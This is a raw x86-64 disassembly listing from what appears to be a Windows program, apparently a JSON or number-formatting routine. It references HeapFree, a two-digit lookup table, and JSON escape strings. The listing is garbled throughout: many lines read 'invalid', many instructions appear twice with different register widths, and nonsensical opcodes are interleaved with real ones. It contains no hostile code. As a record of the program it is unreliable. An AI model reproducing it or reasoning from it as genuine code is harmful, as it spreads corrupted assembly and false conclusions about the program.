mov byte [rbx + 0x634903e0], 4
invalid
add al, 0x84
add rax, r12
invalid
add rax, r12
loopne switch.0x140074e48
jmp rax
loopne 0x140074dcb
jle 0x140074e5c
jbe 0x140074e57
dec dword [rax - 0x75]
outsb dx, byte [rsi]
invalid
mov rbp, qword [rsi + 7]
mov ebp, dword [rsi + 7]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
invalid
je 0x140074e83
invalid
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
cmp qword [rbp + 0x10], 0x11
jb 0x140074e74
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
ror byte [rbp - 0x77], cl
invalid
call r13
call rbp
ror byte [rbp - 0x77], cl
invalid
dec rsi
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call r13
jmp 0x140074e1a
nop dword [rax + rax]
mov rax, rsi
invalid
shr rax, 0x20
shr eax, 0x20
invalid
shr eax, 0x20
call 0x1388a96ca
and ecx, dword [rdi]
test byte [rcx - 1], ch
invalid
cmp rax, 0x23
je 0x140074e1a
invalid
invalid
jmp 0x140075301
mov rbx, qword [r9]
mov rax, qword [rdi + 8]
test rax, rax
je case.0x140046a5e.429
push rdx
add al, 0
invalid
cmp eax, 1
jne case.0x1400689bc.419
mov r8, qword [rdi + 0x10]
mov rcx, r8
neg rcx
cmovs rcx, r8
mov eax, 0x14
adc al, 0
add byte [rax], al
adc al, 0
add byte [rax], al
lea r9, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
cmp rcx, 0x2710
invalid
add byte [rax], al
sbb byte [rdi], al
add byte [rax - 0x7f], cl
stc
adc byte [rdi], ah
invalid
add byte [rax], al
invalid
jb 0x140075548
mov r11d, 0x14
adc al, 0
add byte [rax], al
movabs r10, 0x346dc5d63886594b
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov edx, 0x3886594b
invalid
add byte [rax], al
add byte [rax], al
mov rax, rcx
mul r10
shr rdx, 0xb
invalid
or ebp, dword [rcx - 0x3e]
adc byte [rdi], ah
add byte [rax], al
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
add byte [rax], al
shr edi, 0x13
imul eax, edi, 0x64
invalid
sub esi, eax
out dx, eax
adc ebp, dword [rbx - 0x39]
invalid
sub esi, eax
invalid
movzx esi, si
lea rax, [r11 - 4]
cld
test byte [rcx - 0x73], 0x43
cld
movzx edi, word [r9 + rdi*2]
mov word [rsp + r11 + 0x3c], di
movzx esi, word [r9 + rsi*2]
movzx esi, word [rcx + rsi*2]
movzx esi, word [rcx + rsi*2]
mov bh, 0x34
jno 0x140074fb0
mov word [rsp + r11 + 0x3e], si
mov dword [rsp + r11 + 0x3e], esi
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x140074f10
jmp 0x14007554b
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x18]
mov eax, dword [rdi + 0x18]
mov eax, dword [rdi + 0x18]
mov rcx, qword [r9]
call case.0x140076270.16
add byte [rax], al
add byte [rax], al
test rax, rax
jne case.0x140063fb7.360
invalid
cwde
or al, 0
invalid
test dword [rax + 0x3100000c], ebx
invalid
xor edi, edi
jmp case.0x140028086.680
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
pop rdi
or byte [rax - 0x75], cl
mov rbx, qword [rdi + 8]
mov ebx, dword [rdi + 8]
mov rax, qword [rdi + 0x18]
mov qword [rsp + 0x30], rax
and al, 0x30
sbb byte [r8 - 0x77], r9b
and al, 0x30
and al, 0x30
and al, 0x30
shl rax, 5
add rax, rbx
mov qword [rsp + 0x28], rax
add eax, 0x48d80148
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r9
and al, 0x20
mov rax, qword [r9]
mov eax, dword [rcx]
mov qword [rsp + 0x38], rax
mov r13, qword [rax]
lea rdi, [0x1400e76f3]
lea edi, [0x1400e76f3]
lea edi, [0x1400e76f3]
invalid
add byte [rax - 0x73], cl
xor eax, 0x7ae72
scasb al, byte [rdi]
invalid
invalid
lea rsi, [0x1400efe2c]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
mov r12b, 3
add bl, ch
jmp 0x140074fdb
nop word cs:[rax + rax]
nop word cs:[rax + rax]
jmp 0x140074fdb
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rcx - 0x80], al
cmp byte [r14 + 0x10], 0x23
jle case.0x140046a5e.467
and ecx, dword [rdi]
test dword [rsp + rcx], esi
add byte [rax], al
jne case.0x140075009.2
mov rcx, qword [r13 + 0x20]
mov rax, qword [r13 + 0x28]
mov eax, dword [rbp + 0x28]
mov r8d, 1
mov eax, 1
mov eax, 1
mov rdx, rdi
call qword [rax + 0x18]
invalid
test al, al
je case.0x140032048.501
add dword [rax], eax
add al, ch
invalid
call fcn.140075db0
mov ah, 0xd
add byte [rax], al
mov r14, rax
and eax, 3
movsxd rax, dword [rsi + rax*4]
add rax, rsi
add eax, esi
add eax, esi
jmp rax
cmp byte [rsi + 0xf], 0x23
jne case.0x140075009.2
test ecx, edi
stc
or eax, dword [rax]
add byte [rbp - 0x75], cl
jle 0x140075019
add byte [rax], al
mov r15, qword [r14 - 1]
dec dword [rcx - 0x75]
outsb dx, byte [rsi]
invalid
mov rbp, qword [r14 + 7]
mov rcx, r15
call qword [rbp]
cmp qword [rbp + 8], 0
invalid
je 0x140075045
add byte [rdx + rbx + 0x48], dh
cmp qword [rbp + 0x10], 0x11
cmp dword [rbp + 0x10], 0x11
jge case.0x140075b85.805
adc byte [rcx], dl
adc dword [rdx + 4], esi
jb 0x140075036
add al, 0x4d
mov edi, dword [rdi - 8]
jg case.0x14004e78a.324
mov r15, qword [r15 - 8]
jg case.0x14004e78a.324
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
mov r8, r15
clc
call r12
dec r14
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
invalid
call r12
jmp 0x140074fdb
invalid
add byte [rax], al
mov rax, r14
mov eax, esi
mov eax, esi
shr rax, 0x20
shr eax, 0x20
call 0x1388a988a
and ecx, dword [rdi]
test byte [rdx - 1], ch
invalid
cmp rax, 0x23
cmp eax, 0x23
je 0x140074fdb
jmp 0x140075151
add byte [rax - 0x75], cl
sbb byte [r8 - 0x77], r9b
mov qword [rsp + 0x28], rax
mov rax, qword [rdi + 0x18]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r9
and al, 0x20
mov rax, qword [r9]
mov qword [rsp + 0x30], rax
add dword [rax - 0x77], ecx
and al, 0x30
mov r12, qword [rax]
lea rbx, [0x1400e76f6]
invalid
add byte [rax - 0x73], cl
xor eax, 0x7ad4f
invalid
add byte [rax - 0x73], cl
xor eax, 0x7ad4f
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400750bb
add byte [rax], al
add byte [rcx - 0x80], al
invalid
jle case.0x140028086.578
cmp byte [rsi + 0x10], 0x23
jne case.0x140075009.2
test dword [rbx + rcx], edx
invalid
and ecx, dword [rdi]
test dword [rbx + rcx], edx
add byte [rcx - 0x75], cl
mov rcx, qword [r12 + 0x20]
and al, 0x20
mov rax, qword [r12 + 0x28]
mov r8d, 1
sub byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov rdx, rbx
call qword [rax + 0x18]
push rax
sbb byte [rax + rax*8 + 0x98840f], al
cwde
add byte [rax], al
invalid
push rax
sbb byte [rax + rax*8 + 0x98840f], al
cwde
add byte [rax], al
invalid
cwde
add byte [rax], al
add al, ch
ror byte [rax + rax], cl
add byte [rcx - 0x77], cl
mov byte [rbx + 0x634803e0], 4
add ecx, dword [rax + 0x63]
movsxd rax, dword [rsi + rax*4]
add rax, rsi
call fcn.140075db0
mov r14, rax
and eax, 3
invalid
movsxd rax, dword [rsi + rax*4]
add rax, rsi
jmp rax
invalid
add byte [rax], al
mov r15, qword [r14 - 1]
mov rbp, qword [r14 + 7]
mov ebp, dword [rsi + 7]
mov rcx, r15
call qword [rbp]
push rbp
invalid
push rbp
add byte [rax - 0x7d], cl
invalid
invalid
jge 0x140075112
cmp qword [rbp + 8], 0
je 0x140075127
invalid
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
sbb cl, byte [rax - 0x7d]
jge 0x140075121
cmp qword [rbp + 0x10], 0x11
adc dword [rdx + 4], esi
jb 0x140075118
mov r15, qword [r15 - 8]
mov rcx, qword [0x1400f91f8]
or eax, 0x840d9
xor edx, edx
ror byte [rbp - 0x77], cl
clc
mov r8, r15
call r13
dec r14
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
mov eax, esi
mov eax, esi
invalid
call r13
jmp 0x1400750bb
invalid
or byte [rdi], 0x1f
add byte [rax], r8b
mov rax, r14
mov eax, esi
shr rax, 0x20
shr eax, 0x20
shr eax, 0x20
cmp rax, 0x23
je 0x1400750bb
and ecx, dword [rdi]
test byte [rdx - 1], ch
invalid
cmp eax, 0x28
mov rcx, r14
clc
sub byte [rcx + rcx*4 - 0xf], cl
jmp 0x140075bf7
wait
or al, byte [rax]
add byte [rax - 0x7d], cl
invalid
invalid
jl case.0x1400271cf.597
cmp qword [rsp + 0x30], 0
cmp dword [rsp + 0x30], 0
xor byte [rax], al
je 0x140075491
sub dword [rbx], eax
add byte [rax], al
mov al, 1
xor ecx, ecx
jmp 0x140075af6
mov sil, 1
mov r8, qword [rsp + 0x28]
test r8, r8
test eax, eax
jne 0x140075871
mov rax, qword [rsp + 0x30]
and al, 0x30
mov r12, qword [rax]
lea rbx, [0x1400e9593]
add al, byte [rdi + rax]
add al, byte [rdi + rax]
invalid
lea rsi, [0x1400efddc]
jmp 0x1400751a5
invalid
lodsb al, byte [rsi]
lodsb al, byte [rsi]
invalid
or eax, dword [rcx - 0x80]
jle 0x1400751ae
cmp byte [rsi + 0x10], 0x23
jne case.0x140075009.2
invalid
and ecx, dword [rdi]
test dword [rdx + 0xa], ebp
add byte [rax], al
invalid
or al, byte [rax]
add byte [rcx - 0x75], cl
and al, 0x20
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov r8d, 1
mov eax, 1
sub byte [rcx - 0x48], al
mov eax, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x77], cl
invalid
mov rdx, rbx
call qword [rax + 0x18]
test al, al
je case.0x1400279e4.705
invalid
add byte [rax], al
add byte [rax], al
call fcn.140075db0
mov r14, rax
invalid
and eax, 3
loopne 0x1400751d1
loopne 0x1400751d1
movsxd rax, dword [rsi + rax*4]
add rax, rsi
invalid
jmp rax
xchg byte [rax + 1], cl
invalid
mov dr1, rdi
test dword [0x18d0751ed], ebp
mov edi, dword [rsi - 1]
jle 0x1400751e5
add byte [rbp - 0x75], cl
jle 0x1400751e5
dec dword [rcx - 0x75]
outsb dx, byte [rsi]
invalid
mov rbp, qword [r14 + 7]
mov rcx, r15
mov ecx, edi
mov ecx, edi
stc
call qword [rbp]
cmp qword [rbp + 8], 0
or byte [rax], al
add byte [rdx + rbx + 0x48], dh
je 0x140075211
cmp qword [rbp + 0x10], 0x11
cmp dword [rbp + 0x10], 0x11
adc byte [rcx], dl
jb 0x140075202
add al, 0x4d
mov edi, dword [rdi - 8]
jg case.0x140050f92.408
mov r15, qword [r15 - 8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
clc
xor edx, edx
mov r8, r15
call r13
dec r14
mov rcx, qword [0x1400f91f8]
invalid
or byte [rax], al
xor edx, edx
mov r8, r14
mov eax, esi
mov eax, esi
call r13
jmp 0x1400751a5
cmp rax, 0x23
je 0x1400751a5
invalid
invalid
jmp 0x140075151
invalid
lea rbx, [0x1400e76cc]
xor edi, edi
invalid
mov ah, byte [rdi + rax]
add byte [rcx], dh
dec dword [rbp + rcx*4 + 0x25]
lodsb al, byte [rsi]
invalid
lea r12, [0x1400efe8c]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
jmp 0x14007526a
invalid
nop dword [rax + rax]
add byte [rax], al
cmp byte [rsi + 0x10], 0x23
jne case.0x140074e48.2
jae 0x140075272
add byte [rax], al
jle 0x140075273
and ecx, dword [rdi]
test dword [rbx + 0xa], esi
add byte [rax], al
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
sub byte [r9 - 0x48], r8b
invalid
add byte [rax], al
add byte [rax], al
and byte [r9 - 0x75], r9b
sub byte [r9 - 0x48], r8b
sub byte [rcx - 0x48], al
mov eax, 5
add eax, 0x48000000
mov edx, ebx
invalid
mov rdx, rbx
call qword [rax + 0x18]
test al, al
je case.0x140028086.680
test byte [rbp + 8], dl
add byte [rax], al
test byte [rbp + 8], dl
add byte [rax], al
or byte [rax], al
add al, ch
call fcn.140075db0
mov rsi, rax
call fcn.140075db0
or eax, dword [rax]
add byte [rax - 0x77], cl
mov rsi, rax
and eax, 3
invalid
invalid
invalid
mov rsi, rax
and eax, 3
movsxd rax, dword [r12 + rax*4]
add al, 0x84
add ecx, dword [rcx + 0x63]
add al, 0x84
test byte [rcx + rax - 0x20], cl
add rax, r12
jmp rax
add byte [rbx + rcx*4 + 0x76], cl
dec dword [rax - 0x75]
mov r14, qword [rsi - 1]
mov rbp, qword [rsi + 7]
mov rcx, r14
call qword [rbp]
add byte [rax - 0x7d], cl
jge 0x1400752be
invalid
outsb dx, byte [rsi]
invalid
add byte [rax - 0x7d], cl
jge 0x1400752be
cmp dword [rbp + 8], 0
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
invalid
je 0x1400752d3
sbb cl, byte [rax - 0x7d]
jge 0x1400752cd
cmp qword [rbp + 0x10], 0x11
adc dword [rdx + 4], esi
jb case.0x14006c156.227
mov r14, qword [r14 - 8]
mov esi, dword [rsi - 8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x83f2d
xor edx, edx
ror byte [rbp - 0x77], cl
invalid
mov r8, r14
mov eax, esi
call r13
dec rsi
mov rcx, qword [0x1400f91f8]
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
invalid
ror byte [rcx - 0x77], cl
mov eax, esi
invalid
call r13
call rbp
jmp 0x14007526a
invalid
shr rax, 0x20
cmp rax, 0x23
and ecx, dword [rdi]
test byte [rcx - 1], ch
invalid
invalid
and byte [rax - 0x7d], cl
clc
and ecx, dword [rdi]
test byte [rcx - 1], ch
invalid
imul edi, edi, 0xf883ffff
inc dword [rbx - 0x78f0d708]
cmp eax, 0x28
ja case.0x140074e48.2
ror dword [rcx], cl
add byte [rax], al
clc
sub byte [rdi], cl
xchg ebx, edx
ror dword [rcx], cl
add byte [rax], al
mov eax, eax
cmp rax, 0x23
mov rcx, rsi
mov ecx, esi
ror dword [rcx], cl
add byte [rax], al
mov eax, eax
cmp rax, 0x23
mov rcx, rsi
mov ecx, esi
mov ecx, esi
jmp 0x140075bf7
add byte [rax], al
mov rcx, qword [rdi + 0x10]
mov eax, 0x14
add byte [rax], al
invalid
adc byte [rax + 0x14], bh
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
stc
adc byte [rdi], ah
cmp rcx, 0x2710
cmp ecx, 0x2710
add byte [rax], al
jb 0x140075594
add al, byte [rax]
add byte [rcx - 0x46], al
mov r10d, 0x14
mov r10d, 0x14
movabs r8, 0x346dc5d63886594b
pop r9
pop rcx
xchg byte [rax], bh
invalid
cmp dh, dl
invalid
insd dword [rdi], dx
xor al, 0x4c
lea r9, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
lea r9, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax - 0x77], cl
enter 0xfffffffffffff749, 0xffffffffffffffe0
mov rax, rcx
mul r8
shr rdx, 0xb
invalid
imul eax, edx, 0x2710
mov r11d, ecx
sub r11d, eax
imul esi, r11d, 0x147b
jnp 0x14007537f
add byte [rax], al
jnp 0x14007537f
adc al, 0
add cl, al
add byte [rax], al
shr esi, 0x13
imul eax, esi, 0x64
out dx, al
adc ebp, dword [rbx - 0x3a]
sub r11d, eax
sub r11d, eax
sub r11d, eax
movzx r11d, r11w
lea rax, [r10 - 4]
lea eax, [rdx - 4]
lea eax, [rdx - 4]
movzx esi, word [r9 + rsi*2]
movzx esi, word [rcx + rsi*2]
jno 0x1400753ea
mov word [rsp + r10 + 0x3c], si
mov dword [rsp + r10 + 0x3c], esi
movzx r11d, word [r9 + r11*2]
movzx ebx, word [rcx + rbx*2]
sbb al, 0x59
mov word [rsp + r10 + 0x3e], r11w
mov dword [rsp + r10 + 0x3e], r11d
mov dword [rsp + rdx + 0x3e], ebx
mov r10, rax
cmp rcx, 0x5f5e0ff
cmp ecx, 0x5f5e0ff
ret 0x8148
cmp ecx, 0x5f5e0ff
mov rcx, rdx
mov ecx, edx
ja 0x140075350
jmp 0x140075597
out dx, eax
add dword [rax], eax
add byte [rax], al
movsd xmm0, qword [rdi + 0x10]
add byte [rax], al
movsd xmm0, qword [rdi + 0x10]
ucomisd xmm0, xmm0
jp 0x1400753d8
movq rax, xmm0
movabs rcx, 0x7fffffffffffffff
and rcx, rax
and ecx, eax
movabs rax, 0x7ff0000000000000
mov eax, 0
add byte [rax], al
add byte [rax], al
invalid
cmp rcx, rax
jne case.0x1400279e4.713
add byte [rax], al
mov r15, qword [rbx]
mov edi, dword [rbx]
lea rsi, str.nullfalsetrue__b_f_n_r_t0123456789abcdef_____n
xor edi, edi
lea r12, [0x1400efe4c]
and al, byte [rdi]
add byte [rcx], dh
dec dword [rbp + rcx*4 + 0x25]
invalid
add byte [rbx + rcx*4 + 0x2d], cl
invalid
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400753fe
jne 0x140074dd4
dec dword [rcx - 0x75]
and byte [r9 - 0x75], r9b
sub byte [r9 - 0x48], r8b
mov rcx, qword [r15 + 0x20]
mov ecx, dword [rdi + 0x20]
mov rax, qword [r15 + 0x28]
mov r8d, 4
add al, 0
add byte [rax], al
invalid
add al, 0
add byte [rax], al
invalid
mov rdx, rsi
mov edx, esi
call qword [rax + 0x18]
test al, al
je case.0x140028086.680
rol dword [rsi], 0
invalid
call fcn.140075db0
mov rbx, rax
and eax, 3
movsxd rax, dword [r12 + rax*4]
invalid
add al, 0x84
xchg ecx, eax
or dword [rax], eax
add byte [rax - 0x77], cl
ret
invalid
add al, 0x84
test byte [rcx + rax - 0x20], cl
add rax, r12
jmp rax
mov r14, qword [rbx - 1]
mov esi, dword [rbx - 1]
mov rbp, qword [rbx + 7]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
jge 0x140075452
invalid
jge 0x140075452
add byte [rdx + rbx + 0x48], dh
je case.0x14002f3a6.539
sbb cl, byte [rax - 0x7d]
jge 0x140075461
cmp qword [rbp + 0x10], 0x11
cmp dword [rbp + 0x10], 0x11
adc dword [rdx + 4], esi
jb 0x140075458
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
cmp eax, 0xd2310008
mov r8, r14
call r13
dec rbx
dec ebx
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fadd dword [rcx - 1]
invalid
invalid
call r13
jmp 0x1400753fe
invalid
je 0x1400753fe
test byte [rdx - 1], dh
jb 0x140075489
invalid
invalid
jmp 0x140074dd1
mov rax, qword [rsp + 0x38]
mov r13, qword [rax]
lea rdi, [0x1400e76f4]
push rsp
and al, byte [rdi]
add byte [rax - 0x73], cl
xor eax, 0x7a975
jne 0x14007544e
invalid
invalid
push rsp
and al, byte [rdi]
add byte [rax - 0x73], cl
xor eax, 0x7a975
jne 0x14007544e
invalid
invalid
jmp 0x1400754b4
cmp byte [rsi + 0x10], 0x23
jne case.0x140075009.2
test dword [rbx + 7], ebx
add byte [rax], al
and ecx, dword [rdi]
test dword [rbx + 7], ebx
add byte [rax], al
mov rcx, qword [r13 + 0x20]
mov rax, qword [r13 + 0x28]
invalid
invalid
mov r8d, 1
mov rdx, rdi
call qword [rax + 0x18]
test al, al
ror byte [rdi], 0x84
and al, byte [rsi]
add byte [rax], al
call fcn.140075db0
mov r14, rax
invalid
mov byte [rbx + 0x634803e0], 4
xchg byte [rax + 1], cl
invalid
and eax, 3
movsxd rax, dword [rsi + rax*4]
invalid
add al, 0x86
add rax, rsi
jmp rax
invalid
invalid
and byte [rdi], al
add byte [rax], al
mov r15, qword [r14 - 1]
dec dword [rcx - 0x75]
outsb dx, byte [rsi]
invalid
dec dword [rcx - 0x75]
outsb dx, byte [rsi]
invalid
mov rcx, r15
mov ecx, edi
stc
call qword [rbp]
cmp qword [rbp + 8], 0
or byte [rax], al
add byte [rax - 0x7d], cl
jge 0x140075509
invalid
or byte [rax], al
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
adc byte [rcx], dl
je 0x14007551e
cmp qword [rbp + 0x10], 0x11
adc byte [rcx], dl
adc dword [rdx + 4], esi
jb 0x14007550f
mov r15, qword [r15 - 8]
mov edi, dword [rdi - 8]
mov rcx, qword [0x1400f91f8]
loop 0x140075550
or byte [rax], al
add byte [rcx], dh
xor edx, edx
mov r8, r15
ror byte [rbp - 0x77], cl
clc
call r12
call rsp
dec r14
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
invalid
mov ecx, dword [0x1400f91f8]
cmp al, 8
add byte [rcx], dh
ror byte [rbp - 0x77], cl
xor edx, edx
mov r8, r14
invalid
call r12
jmp 0x1400754b4
invalid
mov rax, r14
shr rax, 0x20
call 0x1388a9d5c
and ecx, dword [rdi]
test byte [rcx - 1], dh
invalid
invalid
invalid
call 0x1388a9d5c
and ecx, dword [rdi]
test byte [rcx - 1], dh
invalid
invalid
invalid
invalid
jmp 0x140075151
cld
invalid
dec dword [rax - 0x77]
retf 0x8348
mov rdx, rcx
cmp rdx, 0x63
cmp edx, 0x63
jbe 0x14007557b
sub cl, byte [rdi]
movzx ecx, dx
mov bh, 0xca
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
imul edx, ecx, 0x64
imul edx, ecx, 0x64
shl dword [rsp + rax*2 + 0x29], 1
ror byte [rdi], cl
sub edx, r10d
sub edx, edx
movzx edx, dx
mov bh, 0xd2
movzx edx, word [r9 + rdx*2]
mov bh, 0x14
push rcx
adc al, 0x51
mov word [rsp + rax + 0x3e], dx
add al, 0x3e
add rax, 0xfffffffffffffffe
add rax, 0xfffffffffffffffe
add eax, 0xfffffffe
mov rdx, rcx
cmp rdx, 0xa
cmp edx, 0xa
jae 0x1400756af
sub dword [rdx], 1
add dword [rax], eax
add byte [rax + 0x548830c2], al
add dl, 0x30
mov byte [rsp + rax + 0x3f], dl
add byte [rax], al
add dl, 0x30
mov byte [rsp + rax + 0x3f], dl
dec rax
jmp 0x1400756bd
add byte [rax], al
add byte [rax], al
mov rdx, rcx
cmp rdx, 0x63
jbe 0x1400755ce
invalid
movzx ecx, dx
shr ecx, 2
invalid
add ch, byte [rcx - 0x37]
imul ecx, ecx, 0x147b
leave
jnp 0x1400755bb
add byte [rax], al
add cl, al
jmp 0x1017299c0
invalid
shr ecx, 0x11
imul r8d, ecx, 0x64
shl dword [rsp + rax*2 + 0x29], 0xc2
shl dword [rsp + rax*2 + 0x29], 0xc2
ret 0xb70f
movzx edx, dx
lea r8, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
movzx edx, word [r8 + rdx*2]
adc al, 0x50
invalid
adc al, 0x50
mov word [rsp + rax + 0x3e], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
mov edx, ecx
retf 0x8348
cmp rdx, 0xa
cmp edx, 0xa
jae 0x14007578f
add dl, 0x30
mov byte [rsp + rax + 0x3f], dl
invalid
dec rax
dec eax
jmp 0x1400757a3
add dword [rax], eax
add byte [rax - 0x73], cl
lea rdx, [rsp + 0x40]
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
call fcn.140072d30
test rax, rax
test eax, eax
je case.0x140075b85.800
mov rsi, rax
mov esi, eax
invalid
mov r15, qword [rbx]
lea rdi, [rsp + 0x40]
lea r12, [0x1400efe3c]
add byte [rbx + rcx*4 + 0x2d], cl
cmc
lodsd eax, dword [rsi]
add eax, dword [rax]
add byte [rbx + rcx*4 + 0x2d], cl
cmc
lodsd eax, dword [rsi]
add eax, dword [rax]
jmp 0x14007561f
mov rcx, qword [r15 + 0x20]
mov ecx, dword [rdi + 0x20]
mov rax, qword [r15 + 0x28]
mov eax, dword [rdi + 0x28]
mov rdx, rdi
mov r8, rsi
invalid
invalid
call qword [rax + 0x18]
test al, al
je case.0x140075b85.800
invalid
invalid
call fcn.140075db0
add byte [rax], al
mov rbx, rax
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
add eax, esp
add eax, esp
jmp rax
loopne 0x1400755cd
jnp 0x14007565e
and ecx, dword [rdi]
test dword [rdx + rax], ecx
add al, byte [rax]
invalid
jne 0x140075862
add al, byte [rax]
add byte [rbx + rcx*4 + 0x73], cl
dec dword [rax - 0x75]
mov r14, qword [rbx - 1]
mov rbp, qword [rbx + 7]
imul eax, dword [rdi], 0x4c
mov rcx, r14
mov ecx, esi
call qword [rbp]
add byte [rax - 0x7d], cl
jge 0x140075670
cmp qword [rbp + 8], 0
add byte [rdx + rbx + 0x48], dh
je 0x140075685
cmp qword [rbp + 0x10], 0x11
cmp dword [rbp + 0x10], 0x11
adc byte [rcx], dl
jb 0x140075676
mov r14, qword [r14 - 8]
mov esi, dword [rsi - 8]
mov rcx, qword [0x1400f91f8]
or eax, 0x83b7b
jnp 0x1400756b6
cmp ecx, dword [rax]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
or byte [rax], al
xor edx, edx
mov r8, r14
call r13
invalid
invalid
dec rbx
dec ebx
retf
mov rcx, qword [0x1400f91f8]
imul edi, dword [rbx], 0xd2310008
or byte [rax], al
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fadd dword [rcx - 1]
invalid
xor edx, edx
mov r8, rbx
call r13
jmp 0x14007561f
shr rax, 0x20
shr eax, 0x20
call 0x1388a9ec3
and ecx, dword [rdi]
test byte [rbp - 1], dh
invalid
cmp rax, 0x23
je 0x14007561f
invalid
jmp 0x14007585f
add byte [rax], al
add byte [rcx + 0xf], al
movzx ecx, word [r9 + rdx*2]
mov bh, 0xc
push rcx
mov word [rsp + rax + 0x3e], cx
add al, 0x3e
add rax, 0xfffffffffffffffe
add rax, 0xfffffffffffffffe
test r8, r8
test eax, eax
jns case.0x140032048.609
mov byte [rsp + rax + 0x3f], 0x2d
dec rax
add al, 0x3f
add al, 0x3f
sub eax, 0x48c8ff48
mov esi, eax
mov rsi, rax
sub rsi, 0x14
sub esi, 0x14
je case.0x140075b85.800
movsd dword [rdi], dword [rsi]
clc
invalid
neg rsi
lea rdi, [rsp + rax]
add rdi, 0x40
add edi, 0x40
mov dword [rax + 0x4c], 0x8d4c3b8b
and eax, 0x7a770
invalid
invalid
mov r15, qword [rbx]
lea r12, [0x1400efe5c]
invalid
invalid
invalid
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400756ff
invalid
adc eax, 0xeb0003ad
or al, byte [rax + 0xf23107b]
jnp 0x140075708
and ecx, dword [rdi]
test dword [rbx + 1], esp
add byte [rax], al
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov rdx, rdi
mov edx, edi
mov r8, rsi
call qword [rax + 0x18]
test al, al
je case.0x140075b85.800
clc
invalid
invalid
call fcn.140075db0
mov rbx, rax
ret
and eax, 3
movsxd rax, dword [r12 + rax*4]
invalid
add al, 0x84
add rax, r12
jmp rax
invalid
add byte [rax - 0x77], cl
ret
invalid
loopne 0x1400756ad
cmp byte [rbx + 0xf], 0x23
jne 0x140075862
add byte [rax], al
jnp 0x14007573e
and ecx, dword [rdi]
test dword [rcx + rax], ebp
add byte [rax], al
mov r14, qword [rbx - 1]
mov rbp, qword [rbx + 7]
mov ebp, dword [rbx + 7]
dec dword [rax - 0x75]
imul eax, dword [rdi], 0x4c
mov ecx, esi
mov ebp, dword [rbx + 7]
mov rcx, r14
int1
call qword [rbp]
cmp qword [rbp + 8], 0
or byte [rax], al
or byte [rax], al
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
jge 0x14007575f
invalid
je 0x140075765
cmp qword [rbp + 0x10], 0x11
jge 0x14007575f
adc dword [rdx + 4], esi
jb 0x140075756
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
add byte [rcx], dh
xor edx, edx
ror byte [rbp - 0x77], cl
invalid
mov r8, r14
mov eax, esi
call r13
dec rbx
dec ebx
mov rcx, qword [0x1400f91f8]
or eax, 0x83a89
mov dword [rdx], edi
or byte [rax], al
cmp cl, byte [rax]
add byte [rcx], dh
xor edx, edx
mov r8, rbx
invalid
invalid
xor edx, edx
mov r8, rbx
call r13
jmp 0x1400756ff
invalid
invalid
xchg byte [rax - 0x77], cl
fmul dword [rax - 0x3f]
call 0x1388a9fa3
and byte [rax - 0x7d], cl
clc
and byte [rax - 0x7d], cl
clc
and ecx, dword [rdi]
